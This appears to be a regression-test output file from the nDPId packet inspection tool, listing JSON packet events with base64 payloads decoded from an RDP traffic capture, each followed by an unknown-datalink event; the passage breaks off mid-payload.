+02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1605,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":610925,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi10AAfwYiAMCoAo6sEAK5DT3NDkegX7D5vRzuUBD1MjiwAAAXAwMGbwAAAAAAAAIKtkpFiHg3fwkMcVh9A1XAY64+s7z+JfobjZSbNcMJlPg3XzeXD3bFTUIJz2cKfg3LDbV3xJ+LEMqR7DKQ7K+Uz1boEPr0McR8lgPWUg3BFhXprLXfCmF1kSsj54XUdsT1Dp5QrblBo9jkV2xIX7Z9pk5eQbXvlyACOdKuJQ1eAua0GRMStGaUFEH5Qb7XwSI\/LSUPX5oaNl8FI+USgbDAnXdVmW35\/VxlQObuF5jpusX8GAFUNjOb+RcDBUOVFOssWiToPnqNzTRYuV6b\/aeEG\/3HoU3afqOPE3FMIL7X+vLOlfzEcBKa6\/2DAtbK56YE7CIG58VgtCJY9OOsp3nq7cX9RyCsrhbYEAuwA49njmUfQZqQYDeAbWHh8D7qIXzto56AIeN7AeYm9iR7RdDZ1MvvUJ5OgQFCxONvKr\/TuVJm+o0gPrBGjZd3dSF\/qIP9RdF0KTuJB\/xGCgJcQtN5ZMPNlzDjZ8cwRL\/4SblvQqIXIOX7ZlcjGZCJ2FtP8zwYaSHehe5HdndIz\/24M3ThhOTOiqpmxBiJkChVjRKCNJ5ExgwDJkSIfaYijLbZzfYwlRLdBqNnay7dSqHMZRBsJl838uQg8PCGvC0Uc86GybgOAEQuIm07HXbDHfhg0w0oeC7BxxUPyfN0FaYkbiQCe23lB\/uznvwpzrS2\/jxboxym5b3HjUSBQk5nHnhpCmj3HvJBmL6pRw\/Z6vC2X\/lw6hfx2oPEFerIcWnWjuc+HKn2Nvoostz1PeOdJqbGld\/B\/WYf3hH\/gHIzHpQUw7uNtnn97XWj1hcADikB9HbFl46tGR5tJw0CS8BkVbFE36FLZOJxMLDpPkeIvH6ffZZrAHSwRoFi37NuxklimHtM748lIB7SF1wUXldwJPr5DqUelynod2L+2JFvIQAclpgXLu2X8LBy0\/vkQWvI+gb9nMfBzfby5SAxiJ7lpuQesErCoWe2Jcxo7cI\/azQSqFyeu4O4aI3Os0pbphDjOnceaRAl3XvhpdjYfBpQZ0CnGTK3m6mBW6rgYA5j52iygEjvABL1LnxsUmC2xkKDNzKZxGW0oRAUqet+M7hv2Pb+3oTXV0WUaQwy0w0D3O6fsTVpLAW65Z3VXo5zL86HDyVvAkzvFhXbkx51yiOEKDLtIUNaydg3tAqxI8AD4lWm8csoPvYIEZ+aGF\/c15vueavC\/RgDWlMRs4WFczv2BkHZVhpLqLB1+LU6D\/8ffZhkuyQM4SEc+x7ph6DJ6\/l2kWiQJdqNVN16VzYEvUnE80wRbvlLeL+xqzl2lajVVwO9W9e7yP8zc6VzV8jKfnYLAXG7ytObYjSHV9HBF8Ht9EEm8MdBkKUhe+LHEZX0EVLGP23PdOgJTflFqqpaPVLTRsJYSC3Iy2SLp2+QCvzTMwje9JWdSIzTbz29YiOQ2SY2hfiURiAHBLqhLdpzMGDEV7kRWX\/TcLG+MueQKPeKNXPRYngUQ3JMN1ihcy0KGk1VTOEsFOC5Aj8s4ACsdv+n5VF6m3lcy20liNPd\/vHtn6POtMEAfjFeJ5b0Y6GJUp4I3h+X2fezl64Wv4WE8zYfnWoAJkkqDQ2S\/N90uugLuS1ZfShNrOXKptMmCk3iqlGA0WQLlI58FDH1IRQeb2nHdxcsBQsCOD2wUyfPdec6QdTO06QB9Pcl1ZwhkjiHPfTI"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1605,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00871{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1606,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":611187,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi2EAAfwYlfcCoAo6sEAK5DT3NDkegZKn5vRzuUBj1MoegAAC2tDzc7cbWMQpa1+3Ji1uU88VgH9zR5wqiVBEqhx2axndIULCWYI51qmQJda9npnyYFN3MGK3s6NO9\/bcN93j4X9XqI1F+S6pjbCr+v8mQ3IS3CFoL5i6GRzZXrNWvsTKE\/\/\/w4Hvi9dvYSCCBEluVY20ZvAPL5pjrRGrgn0AJW6zp2gOFj6RXjx9\/AMMuuRDJDqF0o+xm13\/6k749DikX24LjQbl1BRNMGLpzPIL\/1BWpvcU5Ae\/5OAe8P9ByxKHanKucl74zlFPEcgRabisZ20QBkEkuysFNdgZlZG\/S5\/h+UaQ6ICBFmg7Ja\/n6cIdu6h9nx\/fspktQ2l\/UWHN\/wTbbsXylvm8EnTsfV8YxjP5WdQ0YEwa4662Tf0uL3ji9n2kgn2Lu+51Mwh0jE7MQqqLMn6FkGAsYo2yNRuVMR9ptTLzaLxvB0k70UlKT1Jqw1dv9vT7Y7af28AsEd7nmfUzz++CVRIaKX6r645Cj0jl40tQO8fyEBLeZ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1606,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1607,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":611222,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HwtHoGYkUBAf9H0HAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1607,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1608,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":611253,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi2UAAfwYh\/sCoAo6sEAK5DT3NDkegZiT5vRzuUBD1Mk+5AAAXAwMGbwAAAAAAAAILzE6QVi4JGhrE6\/PGqkJ9zzRrjj99PahNqJC+me67Tzudky50BoCgV0whQTAcbaQMIcpnrRllWmRV8AXWRql5RYUguLuc1pJ6IBF6qXlvGVvJUW3+\/O86Kwg7pQY9NdtQ\/MIeP8XmjgQqYyCuOY7xGtGmZ35cuDTc3Guu4s\/YwkgR26v3gFFVL4LHumimBRnp6ThvxFFmtw\/uNUw8BktFMVFOsq2AWG3onHd1HOzTZckhlt3F54KOgQZK\/K\/uBE+8IuE83D8\/sMwZI5J5y6+y32REU8pNlaVwNoOVPz3mloKRN3qnlmi2WLGF3fQvFLSLdZySu6cymGIQPfAUlrR6JDC45R\/BHyzOqRHLCG92ZhQ77\/eXG4hEMZHG6G\/eA9mKanvndrh1yrhI9uEeGFRiVTyoDvQH9ODtViIC4UR6wisDSQqhKeaN0zMSM0uHNTYjUBKJAZNmvBOPI2gab1iOGmLlin+CZhi8ZT4Tb2nJtJ2z0eIWy45tFlEXep+Dg4r8jefexmpKRleineX\/O8NBFrnAfmwXMA0zARxV4fdxXnUp+WsSl2UTbKXbWJbZMn4XTfMN+4BPiIoIN0Gqfbee8CMhEAJ\/LTg6kvnqqKRLS+Boh8IPYEdOXoCXd0Ow7g33spIYJd8TWfDsUmRDZ7jNtdU95Mv+jwoPg67+aREHMowZjy522MRe6dgHZfF24wh86T1mwmYPLoGutoRCxzLznEtk\/kz9p84ktBU8aKgk0BRtrjkepIY8LHtzB7B63DZBX38roolif1qouUVG4+rI3tEni3QkyyvdQ7KxboiHxXqXDd44\/b580dzvYjwNoSa0WvT7+DsKlHiL5muEpivSthD8gzPtdSQcMInrfrwGHlmSvL9q2\/PwQah5dGww8URMim4nrcZPf0NQi+5bZHs34e3dMSI47TouP+QrP0Nax5yKUAE4\/bI2jKAJfa+BxP3ha1oPln81meHormmot4FxpEuY79GNVnDyzp39B5aOt2Umc4QTwu9157\/nPmyAK02rXifpgpq4ybJqAngZrFJt7cIYEyVg1EvHBOi6RQMhrgzUlObDvuc4vTwObs0shnY80lHLNY1wPS\/AS4PGrzki2cefv9otRrwWszu+4HEtVjhJ65emenMBOJkSOg43b3ZiMYM2f8oyx6hsABFaJkcIq86lAvXWvfYrDD88kGP8BuxstqDsjw3g8oqaiDqWHbC8BMzhC2vzDB+\/WTYr67\/uXW7IHEdfJgq5ZnaHYkvvp6YnMVnZ2392X\/MobBDQDwZIyFOkXAjhedINsG6iv04gVvAoNR+mzzmNJPDBSgCo6O+G0XstT4eRwEzMildUz1YS0bPpBiLd7wQhwXPScct2KRxODSt5daTFHZnXE9fbxL4okW7ROPqxETKtH5qXg8NFeLozFpdNMMFxyuAAEqFZoQ5BYhWabCosy4nWopXny6y9c0hT9i9lnzE+2b\/y56HlEwSHsD1UzyFJPMdQ0pKa4VPhVk6vi5lrge4HYR9RNTDbCBwAwpwqw0O1e7btViLcIZA75FYPwMuN8fyMesgkBTY9TB4n7K1gg6vj2zmWYdLVG\/OrtYmgsDVz\/WT8LnVP9xe66Bw6SuySEPcwzVZudTPlFtje\/tbUvMnmnkxxo5NvWS4prbpTgQIvNokm5VKWFX06jHUGX2FGqGpP"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1608,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1609,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":611503,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi2kAAfwYle8CoAo6sEAK5DT3NDkegax35vRzuUBj1MllJAAADkNi4V\/zyI9EEfG6p\/tZTBk6V023iXyq5EJcWL2vDVVAVUEVxNiNO6g9vVft+IzLuQsLQne03LO2U177f7PS14gPAbpTeGWHZ1d3HJE4yPE7uazrXsjhAB3HJYhRc0Qbth9hCO\/t5dgxxhsP4YhaVNRG9CBgH9UVvJLdO5PNSvpA0H+JqFMWWeTj991Gcb9aZeg+BSQxFZdToTZmCTX3c\/AFKu1ly2apnZFZKSUNvUC9Rfk2YMqohvb82Jmlcn+T6NacSz5lWrklJF2RcShZLb8N6\/bD0ULn5ZdzlE5\/Naa42E\/x7sUl4C1NeKx+TuztS3shomQPM7Sxucg+whJqfb3sToys9uvwTFHW9BrTxnqNso8W5IzFcPc6MfnFlgi02o46P+Ty\/YYyqQrdm5eMhFmpAe2NoqK5HNS\/Vlm0I06j\/8m4+dARNDaDvHDPzq5OGG38xaxrIgFa9cz1\/WYvtdfkVZKWSEs0XOvbpMgDqZfBTAV6QeP3EXme+"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1609,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1610,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":611541,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1i20AAfwYmwMCoAo6sEAK5DT3NDkegbJj5vRzuUBj1MsVwAAAXAwMAMAAAAAAAAAIM7hL7BSq6J5Jm3BONYzfE4RYLs+locEFCLVXd82hDLpw5rRwkD+9lDw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1610,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1611,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":611542,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HwtHoGyYUBAf9HaTAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1611,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1612,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":611580,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HwtHoGzNUBAf8nZgAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1612,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1613,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":611835,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9HwtHoGzNUBggALmZAAAXAwMAOOAIO32NJwwtgra0Js1uQzczhSKb5Y6pEQW5IZEutfLuxVdi3c5M7sTIy3Z6QqavvucCe3Rku2g4"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1613,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1614,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":649314,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChi3EAAfwYm9MCoAo6sEAK5DT3NDkegbM35vR2AUBD6AJ3cAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1614,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1615,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":651380,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChi3UAAfwYm88CoAo6sEAK5DT3NDkegbM35vR3yUBD5jp3cAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1615,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1616,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":651416,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChi3kAAfwYm8sCoAo6sEAK5DT3NDkegbM35vR5kUBD5HJ3cAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1616,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1617,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":651455,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChi30AAfwYm8cCoAo6sEAK5DT3NDkegbM35vR7WUBD4qp3cAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1617,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1618,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":651497,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1i4EAAfwYmu8CoAo6sEAK5DT3NDkegbM35vR7WUBj4qqI3AAAXAwMAMAAAAAAAAAIN54IvabU9KZj57t1b9rpvL3fHbIzIDCOI\/NVHdC\/WRkvd+FcCSAwoUQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1618,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1619,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":651547,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H0hHoG0CUBAf\/nXiAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1619,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02061{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1620,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":655651,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi4UAAfwYh9sCoAo6sEAK5DT3NDkegbQL5vR7WUBD4qld+AAAXAwMGbwAAAAAAAAIO++hDo+pp9ncoCG0vDs6VsUKs+VqSOaJRXfD8LSTsHjNbQKTQSHq5PBCYtgVxTWzN2oPqOSl+xhsDB86DcmOpXglzkTyMGF64cAFv2Ap6i3DeJoqfC9B56ETVeJlKB8Q9s78vVTpUA5kzTfhHSRuOcyPYii3rqsu93KLtKVYEDAekDl59gdwwbhscjfMswb+eM+vay+sCE18+x1M4lrNs2Fxt9xn1o\/g4DIS370SpiE8nmUbOYicLCLQc6ccukivP7nj4bdLlmcQkPL+OD6waBsw7rn2HsKa0ltc0+8RH3Hpwr3i2yIyqa5oicBNJ2TFIYnA6+cdAzlXdox07skmepBAChpfy3EQiFLFy5r7kP6oAe6OtFT1J9EPKoDQcGPNJMBwRF3k8Oc9psD0z5TYuwhlS21cEPGyl3OTFvvJiC8j9s62xyFj9dyOITNA\/czG0N3dCpb5jJApNrQsUC+tuPygJ87LaNq+Um+WgXoDptHpRlKvzvZpj1IhMgFdfJswG5nE9p\/za0j0ZeAh0gojw97KqXn8pVuryuuZBYi3qlYcvVJkMdMPOvjqH99vJsf+PK8AWLPB5VmPicD\/RDkRRZqK6BkRunArSLyH8W+d4k3iqxTULIZET2sfj8uimAKonc271mDg7RMUoCLFgpidDcx38JmSHBHHw7DgBcC1bGhGX0fCW1Sa\/zkfB4VTp3n7sOs4oMGfq0vYa2VAx7EwwdDb4lFu89wCiF6a0XONbpLvdChBH0xOfW6dJUE\/+UF84QJ9tNM1f4F91ev5JV+VZSsXkgbsA0YPcEXJIriGOOTPZzCH6frR5kgsCVp0ZyPkqHkD5EpmY6VsB7kzVjxoDMdkpEov9blVq3F9pl46RngRDlB0LvSvSTa8fdyV7ep0HknF+TxWXOIOTQ+crficS6F9SxR9164Eia3SJKiLJtMbSG93fEOGM7gmRKopH2trphCRU0rEl3gWnyrBUp5EKTcXwP37VcFJLPEerCAuLQrysKu1gRIgxWZ9eTYM+UURmenSVqkpVe1pPAn9eHNTWAVhL4Es176+deOy5HTBrR9I4DFPwRxhxXpdtoUxxnop+ka2im1lIWec88k7m1oWj2p31JWxA0QfTm1k6Vqwa\/NRaxQpQwwFxKW347+DsdchYzyqBlcH4eVojJZZj4qZ0WavMhm6vrlc9RUBvIjEIglZKBsHgbyeZlarjZ7oJMylIb2EVE0V4AB1xKBfVnfzkDOio5+gJgex+u1jRsyuKACloNByqJO9syRNv0Usyd5xI0cWflZgoa6krZ4OoLenRwWD4uIv8vtADrMYK543qIleDPI6aQH0URhQPckMdKsWZPwwwoW0CHfrEOxb4ZjZaP2AXP4QNe8jRvIiJeyYd+DubsPpogQ7h\/FEJriSF7uvmYPpSskTgm3vKfzcTi1F0P5WITn0Fmdv+nTN8Zc6AKd7bd3UsZ8b1BzuSlCZLZcJLP2Pi7aRJK2TpRrF4N2aJNnadEc\/j4rgPTS8GKPSjF1rqcX1i28bzV25JrzdHgQLi0DCnxK2D21tsa\/pSrPIAH7734IoBa4XcWm5FxuEjnwoG6kvX3DbBYVl+jUY7vPaxkvs+5hIxH++ZAy1wDIzjHzwwKTDcUcMueeLJVwjamXMMn4JxbVmL2upqG0ASwNX4iOGtyZoZh3IcK4tN"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1620,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1621,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":655839,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi4kAAfwYlc8CoAo6sEAK5DT3NDkegcfv5vR7WUBj4qhMGAAA9XLd2pPGei03eRbgACDg5OzV\/BzERG0JYk7fxCA53cyN2Ryiu9uf36Saj\/dcYf7CrLH\/8ZSORMDrdPWobenj6Ig1ZRxfZxtZQQNSwfOx8Xmp3njYGVfwT7kv0BVZniOYWHuc1rhjzenxQ6Tdd96qGO4rO+V1N1JdpXz9vqstjRe3KMy31l8GTN9IZ4LdtQALdz4aMkfYT47oE9naLi1BXGsNGqDKRBeMEH799lP1Wli9CGLLmhLuFU7Mw4ATdB2DV\/8mXp5y5vdHrC+HIS1GKVNlYORpHaEJYIZUSW+SK1a1JGjY\/ZYromuaXGfixUF\/zhIxlKygTVC\/B7cf4xNo5tu9QIsJ3FY2BdgDH0UTy2uiY0T40+DN26nJ0TbRui9lNFV0mKJIuHNrtFmQH+luWHWadCTyAyC0t4Wg8PGuxOvzKoSyEld0o06evwNCU7OG2qD9SOQzdJhfXp93abOVTfWFsh7wUpRUHpJslHbwDehwMMSwC6RAtXdJE"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1621,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1622,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":655896,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H0hHoHN2UBAf9G94AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1622,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1623,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":656292,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi40AAfwYh9MCoAo6sEAK5DT3NDkegc3b5vR7WUBD4qodmAAAXAwMGbwAAAAAAAAIPx+YUlljxlaOtHXiecILlLZJwXebpDrezr7p3AMwmbhVu66C87uGpLI5kMZPP6\/KA1WWpKr6VU5Xs0gx\/ZYChSwBmHYujVe903BBczEFK99LTBVblyA1wiML7CTxsHajJeDui3k17Ajr6dA9\/xgyqmpV1uQRO7rBoOwF7sGvwSRXxEOzfRRmExWGCWbaDBo6S1zjk0UQvYOHW3o10k3bQbURq0mOtY9NaoA8VWYAPXo1tr5RMR0lprGn0aYBy+JnUlzIU8bS7SrNT0qi44Ub0IMhfCZik1dRDbWwGTvTu5Zdf0N6vjAW9X2QLimQNP6JeA\/QYUBU\/J8\/nZzRHHNi2403W5f+0D8Gvlf4WRIdK3QJAtpoQoI\/GdRn5nTNSQZpW3uswq246SqCu4OEYjBBOWV9HLzlAC3ss0KRZM4vMLOXvlc8Y5o+mOLEdvZPm3GkfCWqSy7RwXTMoHDhk5UPG8UqztJ6RgczQzqleCzvhe+KXXtbhEwXbSEjNAUtsTNdiwXTEijyRSMLrVtfyJdztcxM3eXnydt6HBDWVxPw3AKq2eKzXtBQUGWFLrr7DRZ62IQTHq1k4qdz\/+YJn\/ltorcE2R+4aWn5wmRjtzMr7Q2XrN7yEmezBBd5jSrhmWEedMzNkCs\/q24pxaYXSsgwybk9zh2Y6Uxs7kMCPQKpbiFXb+PZwETFg6p72wjVrceK8NMg3bceKNR1c1mnbbUXO5fIuRzm3+FnXZWKkqi\/BKD\/uj878imibBpxthOeLFnmrLUMKN5JWdhMq\/I7Dwy2OkvOVcrag3tWovmUGJx1PV5N\/L+7izrrAZFhiPVKXebxbkR\/A6r2gaPe\/6WxHqdgiMJ8m3ka3sP5D6kLBFMVMo1GOf48JmOOwVLO7vmULJGP7pHtl1NufG+7eX+lhf52oH1gvUNAdsmvzQVv7L5QRMwHo56JGh0rmPpJR6\/sY5N24mQuNBRYrULLBbbp4SAfmFFgj2ace77hO3+hyJWdz1u33EhbpF6LSGbVwB5y\/76i\/jz8zGWfyQnU0yjiEauBX2UV9Y9O\/z4DFWmGgDT1ArIfELowOqRDF1CfXq1+UVipNlDM9O9QS50\/iuyUsOUOAPPCBTWOBZRcKUyszhwvwQXsDK9EXb0Sv2wEzBy4o0FptUkrsbWgZCEu\/2yNGfNwksGGB6HepkXWtRe8NQiWGmh0boZH9nIN54ReywjPcqIhmjl4N6t8Wa\/BY3Ew5ajNUyTN4OfE3if7cjxYMJP496s7dM0wddsHi8Xnp0aNiY5DU65D\/CsZxGNCbBAQmBxAqCebZKxCw\/LPGnqsqofImyH4UxUxeXW0I2VV9UpUeqxy7036ny+fLOaxOfzBWXYDkD5cJkRcSxTGhwiUDMWFuIO2BfySXSWX\/m6KfSMkfNaassNTqzl8QFQxFuxAauRh4SXtE6fbSlmurrZUYBJHcxWNyfKWbCwRc5jmqDcHufpRWmbLSMt0i+w8oesKPzLGqfsG4VTkhX+iUGyiZh3rToyiTSBkqg5cj7LSWJVftl9+gRMAd2KLwjnSsxJnkwXIzAU8bQDLELbq3HW2gGzWlS0AK89pITQ8Qca0XxsvDnf8Cpg6dcQhmo6jm+I23r7GC1IYG5tRMKmklok2ZGZX4M1kTZE9X8uu5K9tHdr0hUAgjLaCb9PHmzsC8Ib0j"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1623,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1624,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":656359,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi5EAAfwYlccCoAo6sEAK5DT3NDkegeG\/5vR7WUBj4qmCqAAAbyYbHEmaxgAcbmryadnN0Ucp3CQ8d1qp8loICP7n8elZCdpUaKe8c+Q4JKfyUaM28tiyfkw+Vk9rcXv0wv2Kp4OwIQukrIcOxUlpJxmk8\/kxI7gJp8vM5ZX5c90rERnsF03p5aF1nLE6Tynm29wi1dQaP7+QsS8fxOGFZAwDvCV+wM0glEkvt+728A4BrSOGacu5\/Jzokz3ukyKcJVQ065BiCmnVtxRy4FWiug0viUsLvfdcSHnq+d7p0ppCoO242O37FybqIjudifRUO5Q9wk972SZmxUQ5mM0GjgFXp1WO0TTSBe5dBCrD2HNuHLetPxF9a4sJA8tpPheaOdKC5jRT8jlRgYgITaIKLrKMEgeWAthQnMlpmhBLXgq3H5fZIrCJkbp7enuvNgOKF5AG4CgQdhaKIzS